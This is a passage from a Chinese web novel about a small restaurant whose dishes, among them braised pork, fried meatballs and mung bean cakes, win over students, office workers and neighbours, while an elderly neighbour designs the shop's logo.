她爸最喜欢的就是御水轩的东坡肉了，每次去都必点的。 面前的菜色香味俱全，跟这种廉价的透明盒子倒是一点也不搭，从卖相上来看倒是不逊任何一家星级酒店。 就是不知道味道怎么样。 于母深吸了一口香气，这短短的几分钟内，竟然就被馋得肚子咕咕叫了。 她立马拿起勺子挖了一勺紫菜炒饭。 咸香十足的味道触及到味蕾的那一刻，于母立即瞪大双眼。 这味道！ 她不可思议地又吃了几勺，只觉得自己从来没吃过这样的美味，就连溪城有名的御水轩都没法跟它比。 “妍妍，这，这菜，也太好吃了吧？！” 于母又去夹了一点鸡肉，肉质滑溜，从鸡身撕开的瞬间鲜香流汁。 素雅的荷叶香清淡，一点苦涩也没有。 于妍也被这股极致的美味惊得说不出话来，她大口大口吃着，跟一辈子没吃过饭一样。 咽下一大口米饭，于妍才说：“怎么样妈妈？我没骗你吧？是不是很好吃？” 她起初在帖子看到照片的时候，只觉得很好看，真的没想到会这么好吃。 果然，那群沙雕校友是会吃的。 “我还是觉得你骗了我，”于母笑着哼哼，“一个路边小馆怎么会做得这么好吃？你不会是在哪家酒楼打包回来骗我的吧？” “冤枉啊，这溪城的酒楼、老字号我们哪家没吃过？我上哪去打包骗你呀？” “也是。” 于母舀了一点鸡汁洒在饭面上，干爽的米粒又吸了一层鸡肉香，吃起来味道层次更丰富了。 于母感叹：“要真是小饭馆的话，那这家店可不得了啊，感觉迟早有一天会超越御水轩。” 自己带回来的吃食，得到夸赞，于妍也觉得与有荣焉。 很快，于妍把目光放到了那份东坡肉上，颜色红亮，酱汁是深色的，在光下，肥肉层是透明的，像家里玄关玻璃展柜上摆放着的上好玛瑙。 啊，好馋。 看上去好好吃的样子。 剔透如果冻，吃起来也这么软么？ 可是好肥，吃了长胖怎么办？ 于妍还在纠结着，手却已经伸了出去。 一整块东坡肉方方正正，绵软得晃悠，在米色的玉筷子下，如水晶般的肉也毫不逊色。 然而一个不注意，东坡肉被筷子拦腰截断。 “！！！” 于妍一个眼疾手快，瞅着那块在半空中断掉的稳当当落在碗里时，一颗心也随落定。 呼！好险！ 于妍顾不得别的，果断吃了一口。 她突然愣住了。 这口感！松软得难以置信。 等她再想将注意力集中到嘴巴里的口感时，却发现已经没了实感。 那软乎乎的肉，已经化作一团更绵密的肉香，弥漫在口腔的各个角落。 “好香好香！！这口东坡肉可太绝了！难怪老爸那么喜欢吃！妈你也快……” 于妍兴奋地说着，然而一抬头，才发现她妈妈也早就沉浸在东坡肉的美味里。 再一细数，她竟然已经吃完了两块？！ 现在开始夹第三块了！ 于妍：“妈，你不是说要注意身材，所以打死也不会吃肥肉的吗？” 于母尴尬一咳：“我那不是没吃过这么好吃的肥肉嘛？” 看这个样子，于妍就知道，她妈妈也被这份东坡肉折服了。 原本于母是只打算吃一块满足一下肚子里的馋虫的，但她没想到，吃过之后压根停不下来！ 此刻，她想起于妍说她学校的人都觉得好吃。 看来有些事也不是靠有没有钱来评价的。 像她，在此之前，哪怕再有钱，也没吃过这么好吃的东西。 母女俩吃到最后，都有点放飞自我。 什么减肥，什么身材管理，还是吃饱再说吧！ * 次日周一，张磊下班后紧赶慢赶来到了庄记饭馆。 前段时间，当公司的同事都被安利了庄记后，他们都爱上了，但又不想每天都出门，于是，便想了个法子——摇骰子。 谁的点数最小，谁就出门帮打包。 今天恰好是张磊。 他一下子买了好几份东坡肉，后面人的目光瞬间齐刷刷盯着他。 张磊：“……” 你要是一个人买几份不同的菜，也就算了，别人还有可能以为你是买回家和家人一起吃的。 可你一个人买了几份相同的，这不明晃晃是帮别人带的吗？ 虽说帮人带饭也是一件再正常不过的事，可这放到很多人争抢的庄记来说，那就要承受被其他忠实顾客用眼神刀的滋味。 张磊提着几袋东坡肉，假装镇定地在他们的目光中穿梭着。 他想，如果眼神能杀人，他应该死几百回了。 操！ 有点恐怖。 下次还是不帮了，谁想吃就自己来买吧。 * 溪城一小。 中午下班时间，刘文早早收拾好了东西，她奔到柳芳书工位，催促道：“芳书，我们去吃饭吧，今天中午吃什么好呢？后门附近那家麻辣烫不错，你觉得呢？” 柳芳书还没搭理她，她就又自顾自地说：“唉你怎么还在改试卷呢，这么努力有什么用，别磨磨蹭蹭的，去晚了可就没座位了。” 柳芳书笔尖顿了下，神情淡淡：“你找别人去吧，我还有点卷子没改完，想改完再去吃。” 刘文总觉得哪里怪怪的，但她没多想，应了声就走了。 等刘文出了办公室门，柳芳书才利索的把东西收好也跟着下班 自从上次跟刘文一起在她同学那里吃过饭后，柳芳书就有开始意无意的疏远她了。 这种嫉妒心强，看不得别人好，不肯承认别人优秀的人，留在身边太过可怕。 指不定哪一天，自己也会成为她蛐蛐的对象。 出了校门口，柳芳书迷茫了一瞬，中午吃什么好呢？ 诶，不如就去庄记吧？ 庄记味道很好，她也好久没吃了。 有一小段时间没来，到庄记吃饭的人比之前多了不止一倍。 果然，一种手艺的好与坏都是有目共睹的。 柳芳书排在队伍里感叹。 视线扫过菜单，柳芳书点了一份荷香鸡打包拿回了学校办公室。 进了门才发现，办公室里竟然有人。 午饭时间那些老师要么回家吃饭，要么去了饭堂吃饭，很少有回办公室的。 所以柳芳书有一瞬间的错愕。 显然，对方也没料到她会回来，脸上浮现出跟她一样惊讶的神情。 对方是个女生，叫许清雅，也是个实习教师。 在柳芳书的印象里，许清雅性格文静，是个在人群中会完全隐形的那类人，有时候办公室在讲一些笑话她也不怎么参与其中，只会默默跟着笑，很少看见她主动分享。 都是一个办公室的，柳芳书便朝她礼貌的点了点头。 对方也一颔首，算是打过招呼了。 注意到许清雅面前的午餐，整体色调是深红酱色，再一细看，是一块块透亮如晶体的肉。 看着有点眼熟，柳芳书就问她：“你的午饭是不是在庄记买的？” 许清雅愣了一秒，眼睛一亮，声音有点小，腔调是细软的：“你怎么知道？” “巧了不是，”柳芳书晃了晃手里的袋子，“我也刚从庄记回来。” 柳芳书走到她身边问：“介意我坐这里一起吃吗？” “不介意。” “你吃的是庄记的东坡肉吧？我刚刚在那里看到有人吃。” 许清雅小幅度点点头，张了张嘴，刚要问她要不要来一块时，又听见柳芳书问：“哎，你这盒点心还怪好看的，在哪买的？” “这是绿豆糕，也是庄记的。” “庄记？我没看到有啊。” “不是买的，是店里开业搞活动，到店消费都会送，送完就没了。” “哦，那看来是我去晚了，”柳芳书看着拥有精致花朵形状的绿豆糕，有些后悔，“明天，我明天下了班就冲过去，一定要拿下这款绿豆糕！” 许清雅哑然了瞬，默默提醒：“今天是活动时间的最后一天了。” 柳芳书人一下子就萎了：“啊？不过没事，还有今晚……” “你想吃吗？你想吃的话，我可以分点给你。”许清雅笑吟吟的。 柳芳书期待：“真的吗？” 许清雅把盒子往柳芳书面前推了推：“对了，东坡肉你要吗？你要的话可以自己夹。” 柳芳书不讨厌吃肥肉，只是一份就要几十块，她一个实习生有点伤不起。 柳芳书自然也懂得许清雅的不容易，不想占她便宜，便也连忙把自己的荷香鸡拿出来分享。 “这份东坡肉好绝哇，松软酥烂又肥而不腻，瘦的部分质地也一点都不柴，好香好香。” “荷香鸡也是，外皮焦黄焦黄的，薄薄的，一点都不油，吃起来有股淡淡的焦香，又不会发苦，很难想象溪城这个地方竟然有这么好吃的小店。” “唔……绿豆糕好好吃！入口清凉香甜，糕体很绵密，轻轻一抿就化开了。” “哎！你有没有发现，中间的花蕊是抹茶味的诶，前面吃过了甜，此时吃到抹茶味，淡淡的涩味不会太苦，简直是灵魂一笔。” “是真的哎！好吃！” …… 意外发现都喜欢吃同一家美食，两个女生就这么聊了起来。 在你一言我一语中，她们把午餐都解决得一干二净，只有空气中还漂浮着未散的淡香味。 也是这时，柳芳书才发现，跟许清雅相处竟然还挺舒服的。 于是，她自然地发出邀请：“对了，晚上要不要一起去庄记吃饭？” 其实，许清雅平时还挺羡慕柳芳书的，人长得好看，性格好，人缘也好，最重要的是大胆自信，活泼开朗。 是许清雅最想成为的那种人，也是她很想交的朋友。 只是她很慢热慢热，同时也觉得柳芳书身边不缺她一个朋友，便心生胆怯。 没想到庄记不仅给她带来了好吃的食物，还给她带来了友谊。 许清雅忙不迭点点头：“好！” 许清雅又说：“对了，我还加了庄记的顾客群，你要进吗？我可以拉你。” “要要要！” …… * 晚上，庄凝冬哼哧哼哧地把煮好的笋放入大锅，盖上盖子让它自己浸泡入味。 又搞好卫生，才争分夺秒地回房间打开电脑看论文。 看了眼时间，挺晚了。 庄凝冬惊觉不能再这样了，以后笋得提早卤好。 她想着，便重新跟郑氏夫妇沟通了收货时间。 对方答应得爽快，此事就谈好了。 庄凝冬把注意力放在电脑上，她正艰难地搜索着知识，原主学的还是一堆晦涩专业名词的金融。 明明所有文字都能看懂，但连在一起是什么意思就不明白了。 犹如天书。 时间一分一秒地流逝。 等实在撑不住，庄凝冬才合上电脑，睡前躺着看了会儿顾客群的消息。 有种打死我：[侥幸买到了一份东坡肉带回家，我爸妈起初还说我整天吃那么油腻的东西，结果……他们吃得比我还多，他们俩甚至为了最后一块东坡肉打起来了：）] zz：[弱弱问一句谁赢了？] 有种打死我：[那必是我母上大人啊，我爸哪敢造次。] 等日落：[呜呜呜今天是最后一天大酬宾了，那明天是不是就没绿豆糕吃了？老板娘还没想好要不要拿来卖吗？别想了，我帮你决定吧，明天正式上线售卖！] 谭清莹：[附议！！求求了！绿豆糕拿来卖吧！这句话我都要说烂了！] 庄凝冬眼熟谭清莹的ID，她确实是从吃到绿豆糕的那一刻就反馈说非常好吃，然后只有一有空就会重复说，还不忘叫庄凝冬一定要多做些绿豆糕拿来卖。 绿豆糕的制作方法并不难，只要炒好馅料，再用磨具按压好就可以了。 从环节来说是比椰汁马蹄糕要简易快捷。 见他们这么热情，庄凝冬也不忍给他们浇冷水：[好，既然你们都那么喜欢，那我就做点来卖吧。] 群里顿时一阵欢呼。 庄凝冬又看了会儿，正要放下手机休息，结果看到有个顾客随口提了嘴，说这么普通的盒子根本配不上这么精致美味的饭菜。 但庄凝冬已经没多少精力去回复了。 她躺在床上，闭着眼思考要不要定制专属的包装盒。 定制的话，是不是得请人设计专属标志？ 那块牌匾上的字是自己写的，但标志她可不会设计。 是在网上花钱请人设计呢，还是…… 迷迷糊糊入睡前，庄凝冬有了个主意。 第26章 第26章 夜幕降临，朝丰街亮着的灯火通明温馨，与之形成对比的，是在溪城另一角的落寞霓虹。 装修姣好的平层里，季初曼正哄着女儿睡觉。 “在很久很久以前，有一片与世隔绝的森林，里面住着小白兔一家……” 女儿圆圆躺在床上，眨巴着亮晶晶的眼睛，奶声奶气道：“今天，今天不想听小白兔的故事。” 季初曼无奈：“那圆圆想听什么故事？” “嗯……不知道，圆圆什么都不想听。” “那圆圆安安静静睡觉好不好？” “好。” 圆圆虽然应下，但还是睁着一双圆溜溜的眼睛。 过了一会儿，圆圆忽然说：“妈妈，今天小辰拿了一副画回学校，说是他妈妈画的，画得可好看了！那小蚂蚁和小花朵儿，就跟书本上的一模一样！” 季初曼安安静静听着，一时间她也摸不准女儿的意思。 “圆圆也想要吗？” 圆圆点点头，又摇摇头：“同学们都很羡慕他有个画画厉害的妈妈。” “圆圆也羡慕？” 圆圆不说话，但她的小表情已经出卖了她。 季初曼轻声道：“小孩子不可以有攀比心哦。” “可是……除了小辰妈妈，小悦妈妈是医生，听说只要她看一眼，就知道别人哪里生病了，还有小颖妈妈，会弹钢琴，弹得比学校里的老师还要好听……” 圆圆说着说着，声音渐渐低了下去，看起来有点小难过。 圆圆这个样子，季初曼也能猜到大概原因。 估摸着是别人问她妈妈是做什么的，让她忽然察觉到自己妈妈没有别人那么厉害，又或是因为她不知道怎么回答，毕竟她妈妈连工作都没有，所以产生了落差。 是了，她妈妈连份工作都没有。 季初曼在心底叹了口气：“妈妈整天陪着你不好吗？” “可是，”圆圆头一歪，伸出手指一个个数着，“小辰，小悦，小颖他们的妈妈都有陪他们呀，他们白天上完学回去，晚上他们的妈妈就会陪他们画画，弹钢琴。” 季初曼哽住，一时不知道怎么回答。 女儿现在长大了点，白天要上学了，倒是不像以前，一整天都需要粘着了。 不知道想到什么，圆圆小大人似的皱起眉：“而且妈妈，现在是我陪你，白天我有很多同学一起玩，可是你只能一个人留在家，又没别人，你肯定很害怕，可是没办法，我只有放学才能回来……” “妈妈，我不想你害怕。” 季初曼心神一晃，眼眶不自觉发热。 回望过去几年，起初是在丈夫的温声诱哄下，后来再加上自己也执拗地想弥补童年的缺失，所以在怀孕不久后，季初曼就把工作辞了，留在家当全职妈妈。 试图能一直陪伴女儿，参与女儿的所有成长过程。 只是现在，女儿的成长速度似乎比她想象中的要快。 或许她是该出去找个工作了。 “那到时候妈妈要是像爸爸一样，忙到好几天看不到人也没关系吗？”季初曼故意逗她。 圆圆似乎真的皱起眉认真思考起来：“可是，可是，爸爸不忙也不会陪我。” 季初曼的笑略一僵，心脏蓦地被揪成一团。 …… 等圆圆睡着，季初曼帮圆圆掖好被子，起身回了房间。 等她洗完澡出来，床头柜的手机亮了一下，是她老公的信息。 告知她今晚不回去了。 又不回，这段时间他在外过夜的时间越来越频繁。 问就是在忙工作。 季初曼在一片胡思乱想中入睡，她在心里隐隐决定着，等睡醒就去改简历投放。 * 开业三天大酬宾结束，顾客们的热情却并未因此消散。 还没到正式营业的点，已经有零散的人在等着了。 “今天没有优惠也这么早到哇？”庄凝冬笑着跟他们打招呼。 “干饭不积极，思想有问题。” “老板娘你是不知道你做的饭有多好吃，现在别说优惠了，哪怕是加价，也要来吃好吧。” “今天难得不用上早八，睡醒就赶紧过来了嘿嘿。” …… 工作日，来的几乎都是没课的大学生，他们挺擅长寒暄的，就聊了两句。 时间在忙碌中流逝，日升日落，天边染上几缕红霞，一天的营业又到了尽头。 店铺打了烊，庄凝冬从冰箱里拿出一些猪肉，用绞肉机打碎，搅拌好。 粉色的肉糜肉质细腻，馅料以三分肥七分瘦调配好，在庄凝冬手里三两下就变成了一个个大小一致的小丸子。 黄澄澄的油在锅里烧着，庄凝冬手掌伸至油面上方，感受油温，待觉得可以了，将刚刚挤好的小丸子一次性倒入锅里。 一瞬间，油锅中霎时沸腾起咕噜噜的泡泡。 浅粉的小丸子在慢慢变色，一股浓郁的肉香也在厨房中弥漫开。 庄凝冬嗅了嗅，拿起大大的漏勺将丸子捞起，等稍后又复炸了一遍。 炸过两次的丸子表面一片金黄，堆着瓷白碟子里，像一只只小金球球。 筷子头戳破酥脆的外表，发出轻轻一道咔嚓声。 庄凝冬自己先吃了一只。 干炸丸子外酥里嫩，外层酥脆的同时，里头肉质鲜嫩，口感层次丰富，咸香十足，又香又脆，好吃！ 庄凝冬眯了眯眼，又戳起一个跑到后院喂到奶奶嘴边。 “小心烫。”庄凝冬说。 这种干炸丸子的脆跟那种坚硬的脆不一样，是柔和的，哪怕奶奶牙口不好也能咬下，在口腔中咔吱咔吱的。 随着内里鲜美肉质香气一起迸发出来的，还有腾腾的热气，烫得奶奶嘶嘶地吸着凉气。 不过好在她只咬了一小口，也没有被烫到。 “好吃！里面的肉馅调得可真好，好嫩。”奶奶把剩下的一半吃完，跟小孩子一样馋得往厨房里直瞅：“还有没有？” 庄凝冬笑：“有，当然有啦，不过奶奶您得少吃。” 奶奶耍赖皮：“吃得还不够少吗？你这才第一次做。” 庄凝冬无奈地笑。 她回了厨房，将丸子分成两份，一份留着跟奶奶吃，而另一份…… 庄凝冬没忘昨天睡前想的、关于定制专属打包盒的问题。 对于logo的相关设计，她已经有了人选。 没耽搁多长时间，庄凝冬出了门。 她来到了许家门前，敲了敲门：“许爷爷，许奶奶，你们在吗？” “诶！”屋里传来一阵回应声，许爷爷迈着小碎步急忙地走了出来：“凝冬丫头？怎么了有什么事吗？” 庄凝冬提起手里的东西，俏皮地弯起眉眼：“想请您帮个忙。” 在外站着不方便聊。 “进屋说。” …… “啊？你让我家老许给你的饭馆设计一个标志？” 许奶奶听完来意后，沉默了好一会儿，才抬起手背去碰庄凝冬的额头，仿佛在确认她是不是烧糊涂了。 一时间，竟是分不清许奶奶在损许爷爷还是损庄凝冬。 庄凝冬哭笑不得。 她能想到这点，还是因为许爷爷在她开店那天送来了自己的字画。 其实许爷爷的字画也没那么难看，只是许奶奶跟他之间的相处方式就这样，所以才开口损。 不过这一次，许爷爷难得跟许奶奶站在了同一阵营：“是啊，我这都是业余随便画画打发时间的，哪懂得什么设计啊，这可是关乎店铺门面的，我更担不起这么重要的任务，要是画得丑，影响了你店里的生意怎么办？” 庄凝冬笑：“许爷爷您怎么对自己这么没信心呢？开业那天您送我的字画您还记得不？我把它们挂在了墙上，有顾客看到后还问我出自哪位名家的手呢。” 这话说到许老爷子心坎去了，他立马乐呵着问：“真的？” “当然。”庄凝冬趁热打铁，撒娇：“许爷爷您就帮帮忙吧。” 见人苦苦哀求，许爷爷也不忍拒绝，应下：“好吧，我试试看，不过先说好啊，如果画得难看，可不许用啊，我自己也丢不起这个脸。” 之后他们又聊了聊关于logo的事，许爷爷问需要什么元素，庄凝冬想了想说：“槐花吧，我见有挺多顾客说就靠门前那颗槐树来认我的店。” 定下之后，许奶奶刚好端着饭菜从厨房出来。 庄凝冬起身：“我就先回去了，不打扰你们吃饭了，那份干炸丸子你们记得吃啊。” 许奶奶热情，想留庄凝冬下来吃饭，不过被她婉拒了。 等庄凝冬走后，许奶奶看见许爷爷那个得瑟劲，看不惯似的说了他一句：“你害不害臊！” 许爷爷此时心情飘飘然，恨不得马上掏出他的纸币，立刻开始设计logo。 许奶奶懒得理他，出门大喊了几声孙子的名字，叫他回来吃饭。 不出几分钟，许奶奶的孙子阳阳顶着一张灰扑扑的花猫脸出现在了客厅里。 “咦～又把自己弄了一身脏。” 许奶奶嫌弃地拉着他去洗干净。 一家人整整齐齐地坐在餐桌上，阳阳握着勺子，满脸兴致缺缺：“奶奶，我不想吃饭。” “那你想吃什么？零食？” 阳阳的眼睛亮了一瞬，许奶奶轻哼：“那你想吧。” 阳阳的脑袋一下子耷拉了下去：“奶奶我还不饿。” 阳阳目前在读小学一年级，平时最让许爷爷和许奶奶头疼的是，他不爱吃饭，只喜欢吃零食和去玩。 为了让他好好吃饭，家里已经不买零食了，但他吃的还是不多，身体更是肉眼可见地消瘦下去。 可这有什么办法呢？ 饿也饿过了，他就是不吃。 就像现在，强迫他到餐桌前坐下了，他也只是敷衍地吃了几粒米饭，然后就扔下勺子去玩玩具了。 “爷爷奶奶，我现在不饿，等会儿再吃！” 许爷爷和许奶奶两人对视一眼，均是无可奈何。 没办法，只能他们先吃了。 许奶奶把庄凝冬送来的盒子打开，里面金黄色的丸子也不知道怎么捏的，圆滚滚得像用模具压出来的一样，每个还保持着一样的大小。 这色泽，看着就酥脆嘞！ 即便盖着被焖了一会儿也没改变它本身的酥脆程度，外层炸得焦香，脆的同时又有浓郁的肉香。 外表是喷香的脆，内里却是松松的软，一口咬下去，能听见清脆的“咔嚓”声。 “太好吃了！” 庄凝冬之前店铺开业，相熟的邻里街坊都有去照顾过生意，许奶奶也不例外。 尽管知道庄凝冬做菜好吃，然而在尝试一道新菜式时，对方也总能给自己惊喜。 想到之前阳阳没吃过庄凝冬做的饭菜，许奶奶顿时有了想法。 “阳阳，这是你凝冬姐姐做的丸子，很好吃的哟，要不要来尝尝？” 阳阳坐在他的玩具堆中，头也不回：“不吃。” 话一落，鼻尖就嗅到了一股肉香。 好香，是什么味道？ 阳阳回头，看见奶奶正夹着一颗小球球朝自己晃了晃。 那只小球非常好看，是明亮的金黄色，跟爷爷做的因炒糊而发黑的肉片不一样。 像玩具店里面摆着的金球，圆圆的也像常玩的玻璃珠子。 旁边，许爷爷也吃了一只丸子，那声音，咔咔的，听着就让人口齿生津。 “这爽滑细嫩的肉，咸香适中，可真得劲！”许爷爷起身，“不行，这么香的肉得拿我的二锅头来配。” 那头许奶奶还在引诱阳阳，转头听见老伴说要喝酒，便大声斥了句：“老许！” “哎哟，难得有那么香的肉，你就让我喝一口吧！” 算了，由他去吧。 许奶奶想 阳阳看着爷爷吃一口丸子，再喝一口二锅头，眯起眼睛长叹，那神情，学校班长被老师夸都没那么高兴。 阳阳看得不自觉咽了咽口水，人也在不知不觉间走到了餐桌旁。 他眨着眼睛：“真的很好吃吗？奶奶我也想吃。” 此刻，许奶奶异常好说话，夹了一个喂到他嘴边。 阳阳张嘴，咬了一口。 又脆又香，里面的馅料还是热乎乎的，肉馅口感也软软的，比零食还好吃！ 阳阳眼睛亮亮的，三两下把嘴里的丸子肉吞下去，又张嘴把剩下的丸子嗷呜一口吃掉。 “怎么样好不好吃？”许奶奶问。 阳阳点头如小鸡啄米：“奶奶我还想吃！” 身体里的饥饿感就此被扯了出来。 他说着，拿起自己的勺子就要去盛，一整盒的丸子却忽然被许奶奶拿走。 阳阳疑惑。 许奶奶说：“不能让你白吃，你答应我把这碗饭吃完我就给你。” 吃不到美味的小丸子，阳阳有点急，他连忙答应：“我会吃完的，奶奶你先把丸子给我。” 许奶奶递给他：“要是我发现你光吃丸子不吃饭，那以后就没有这么好吃的丸子咯。” 不希望以后再也吃不到这么好吃的丸子。 像为了表明自己的决心，阳阳积极地吃了两口米饭才去吃丸子。 丸子脆脆的，里面又软又入味，浓浓的肉香包裹着米粒，连原本索然无味的米饭都变得香喷喷的。 好吃！ 阳阳就这样一口丸子就着一口米饭，腮帮子被塞得满满的，嘴角也沾上了几颗米粒。 许奶奶叮嘱：“慢点吃，还有呢。” 很快，一碗米饭就被吃了个精光。 阳阳看着盒子里还剩有丸子，主动端起碗：“奶奶，我还想吃，您再帮我装点米饭吧。” 许爷爷和许奶奶均是一顿，而后相视一眼。 这可真是太阳打西边出来了，第一次见阳阳吃完一碗米饭，甚至还主动说要吃更多。 许爷爷：“你小屁孩一个，一顿不能吃太多，不然消化不良，不许再吃了。” 话落，阳阳瘪了瘪嘴，像是在下一秒就会哭出来，“可是我还想再吃丸子，我从来没有吃过那么好吃的丸子。” 许爷爷：“几只丸子而已，你想吃就都吃了。” 阳阳：“可是奶奶说，要吃饭才可以吃丸子。” “……” 许奶奶：“看在我们阳阳今天表现得那么棒的份上，剩下的那几只丸子都奖励给你了，不用你再吃饭了。” 阳阳蓦地笑起来：“真的吗？！太好了！谢谢爷爷奶奶！” 所剩下的丸子都咕噜噜滚进了阳阳的碗里，他舔舔嘴唇，吃得满嘴流油。 “爷爷奶奶，我明天还想吃这个丸子。” “好好好，明天再给你买点回来。” 吃完饭的阳阳就跟打了鸡血似的，活力满满，连写作业都更有动力了。 语文作业是要写一篇作文，题目为《我的愿望》。 阳阳想了想，动笔写道： 我的愿望是每天都能吃到非常非常非常好吃的丸子！ 还有，希望快点长大，这样胃口也会变大，爷爷就不会再阻止我，就可以一次吃多多的丸子了！ * 许爷爷的效率很高，次日就画好了主题标志给庄凝冬送去。 顺道去拿，中午提前约好的干炸丸子。 傍晚下起了蒙蒙细雨，被风吹的斜打进来，哪怕撑了伞也不太管用。 许爷爷只得护紧怀里的画，生怕晕湿一分。 此时，时间尚早，庄凝冬在忙，许爷爷想听她评价一下自己的作品，便在外头等着。 等人群逐渐散去，空闲下来，庄凝冬才擦干了手走出来。 纸是常见的宣纸，上面的庄字做了点变形，变化的主要有两点：最上方的点横被化作简易屋顶，而那一撇则成了一串洁白绽放着的槐花。 剩下的土字则是许爷爷自己写字的风格，遒劲有力带出一点洒脱的笔锋。 整体有种国风和现代简易主义的结合。 庄凝冬还挺满意的：“哇，好看！” “真的假的？可别是为了哄我开心。” “既然许爷爷觉得我一个人说了不作数的话，那我就把它发到顾客群上给大伙看看。” 庄凝冬拍了张照，发到两个群里。 正是饭点，里面的一些顾客在疯狂拉仇恨，晒自己买到了庄记，而另一些吃不到的则被馋的不断说气话，放狠话。 聊的那是一个热火朝天。 冷不丁一张突兀的图片发出来，一看，还是店长发的。 群里安静了一瞬，然后话题纷纷转到了庄凝冬发的这张图片上。 不想上早八：[这是什么？能看出来是个庄字，以前上学的时候，做语文卷子，就有分析过这种字体变形的题目。] 来啊发癫啊：[字体变形？那不都是作为logo用的吗？庄记要有新logo了。] 别惹我：[这个做新logo吗？我觉得可以！有种简约的古典美，很清新淡雅。] 等日落：[我是学美术的，我敢说这个色彩搭配非常专业，还有这个字体的笔锋也不一般，能看出来练过的。] 111：[是在网上请人设计的吗？] 庄凝冬：[不是，是我的一个邻家爷爷弄的，好看吧？] 顾客们都很捧场，回答是清一色的好看，不断刷着屏。 许爷爷那颗忐忑紧张的心在看到夸赞后彻底放了下来。 两人又聊了几句后，许爷爷便拿过干炸丸子离开了。 他出门时刚好撞见李爷爷。 “老许！”李爷爷跟他打了声招呼，“诶，你手里的是啥呢？我在凝冬丫头店里，怎么没看见过这个？” “干炸丸子，人自己做来吃，没放出来卖呢。”许爷爷知道阳阳还在等着自己投喂，着急回家，“不跟你说了，我先回家了啊。” 李爷爷进门，庄凝冬看见他，便把他提前订好的红油抄手和东坡肉拿出来。 李爷爷接过，但没着急走，人前面跟庄凝冬有一搭没一搭的聊着话，眼神却不断往厨房里瞅。 “怎么了？有什么事您就直说吧，李爷爷。” “就，我刚刚进来的时候看见老许拿着一份干炸丸子……” “原来是这样，”庄凝冬浅浅一笑，说：“您等着，我给您拿点。” “诶，你们够吃吗？要是不够的话，就留着你们自己吃吧。” 李爷爷虽然是馋，但，为了自己一时口腹之欲而霸占人家本就不多的吃食这种事，他还是做不出的。 “管够的，放心吧李爷爷。” “那谢谢了啊，”李爷爷转头走了两步，想起什么似的又折了回来，他不太好意思地挠了挠头，笑眯眯道：“想问问你这里有没有辣椒酱？” 这份干炸丸子，要是蘸上辣椒酱的话，都不敢想是何等的美味！ “有有有，您稍等。”庄凝冬笑得无奈。 李爷爷期待得搓手手。 不愧是饭馆，跟吃有关的应有尽有，那叫一个齐全，就跟百宝箱一样。 * “奶奶，爷爷怎么还没回来？我饿了。” 客厅里，短短十分钟内，这个问题阳阳已经问了不下十次。 难得有一天放学回家后，阳阳不出去玩而是在家乖乖做作业等着吃饭。 许奶奶知道，这都是因为庄家丫头做的饭菜好吃，连阳阳都沦陷了。 “快了快了，再等等，你凝冬姐姐做的丸子那么好吃，她店里肯定很多人不是，这人一多花的时间不就长了，再耐心等等。” “好吧……” 阳阳话音刚落，院子里就响起了渐近的脚步声。 许奶奶只觉得身边刮过一阵风，阳阳这孩子一溜烟就跑了出去，看见许爷爷后，主动拎过了那袋干炸丸子。 并乖巧的自己去洗手，擦干端坐在餐桌前。 许奶奶看见后心中一叹，可省了不少心。 阳阳火速夹了一只丸子吃了起来。 就是这盒干炸丸子！搞得他心心念念了一整天。 当熟悉的味道在口腔中迸发，松松软软的肉糜给味蕾带来了最极致的体验。 阳阳只觉得好吃到想要手舞足蹈。 又是一顿，阳阳比许爷爷和许奶奶吃的还要快。 他是满足了。 但许爷爷和许奶奶还没有。 两人同时叹了口气，这样下去可不行啊，丸子都被孙子吃了，他们只能分得那么一两个。 他们也馋啊！ 第27章 第27章 李家。 李爷爷提着晚饭回到家，进屋前，把塑料袋上的水珠抖了抖。 他将东西搁到桌面上，看着眼前的一人一狗，气打不过来，“看见你跟个大爷似的悠闲等吃就烦，下次该到你去买饭了。” 吃的终于来咯～ 梁爷爷放下报纸，起身到桌前坐下，得了便宜还卖乖，“我这也是为了咱们好，到时候邻里街坊要是发现我了，告到我老伴那去，你还能逃得掉？” 李爷爷被堵的没话说，轻哼了一声。 一份红油抄手，一份东坡肉，两人自然跟上一次一样平分。 发现多出来了一盒东西，梁爷爷扯过来看了一眼，问：“这是什么？” 李爷爷：“凝冬丫头做的干炸丸子，我还是看到老许提着出来才问丫头拿的。” 那丸子炸得叫一个好看，跟外头卖的那些黑不溜秋的不一样，金灿灿的，通体又圆，没有挤出来的尖尖小揪揪，漂亮极了。 这份丸子的总数是双数，按照惯例，刚刚好能平分给两个人。 梁爷爷先夹了一个，整只塞进了嘴里。 外层炸过的金黄色，有种酥脆的焦香，齿尖戳破后，是滑嫩咸香的肉馅。 香喷喷的肉馅那叫一个鲜！肉质紧实且富有弹性，嚼起来又松又韧的。 炸制过后的独特酥脆和内里软软绵的结合，使得口感更为丰富，吃过一个之后就停不下来了。 “爽！”梁爷爷止不住发出一声惊叹，然后笑眯眯的指责道：“一把年纪了还问人家要吃的，你也是不要脸。” “……” “你要脸，你别吃了你。” 李爷爷作势要把丸子端到自己面前，梁爷爷一把阻止住，“诶，开个玩笑嘛。” 李爷爷摆着臭脸，开了那一小盖辣椒酱。 这份辣椒酱是庄凝冬用自家院子种的辣椒做的，几种形状不同、品种辣度不同的辣椒混在一起，有青的红的，其中小米辣占比重，所以辣度会明显点。 里面还放了剁碎的蒜末，香辣中又有浓郁的蒜香，光是用筷子头撩起一丁点都好吃。 香香辣辣的，盐的用量放的特别合适，咸香咸香，味道很醇厚。 “味道真正啊。” 李爷爷感受着舌尖这股微麻的辣意，戳起一个丸子，蘸了蘸辣椒酱。 金黄的丸子外层裹上了一层鲜红，辣椒酱浓稠，细碎的亮红辣椒外皮挂在上面，散发着阵阵辛辣的香气。 先感受到的还是那股熟悉的辣意，再是脆脆的口感，咬破具有独特焦香的外层，里面的嫩肉馅也染上了蒜香味的辣。 不仅辣得香，辣得热，还辣得爽。 这股辣像是激活了李爷爷的灵魂，他感觉浑身上下的细胞都在跳舞。 李爷爷有胃病，梁爷爷看他不停的吃，红油抄手之后又接着干炸丸子蘸辣椒酱，那鲜红的辣椒酱都要见底了。 梁爷爷担忧：“你撑得住不？要难受就别吃那么多了，算了，你还是别吃了吧。” 李爷爷：“我自己的身体我自己知道，你操什么心？” 梁爷爷：“我是怕到时候还要给你送医院去，别净给我惹事。…… 李爷爷不屑：“我还没说你呢，吃不了辣就算了，别强吃，看你脸都红成什么样了。” “你少管，”见状，梁爷爷不管他了，吞了一快入口即化的东坡肉，想起什么似的，问，“对了，你老伴啥时候回来啊？” “还要一周左右吧，咋了？” 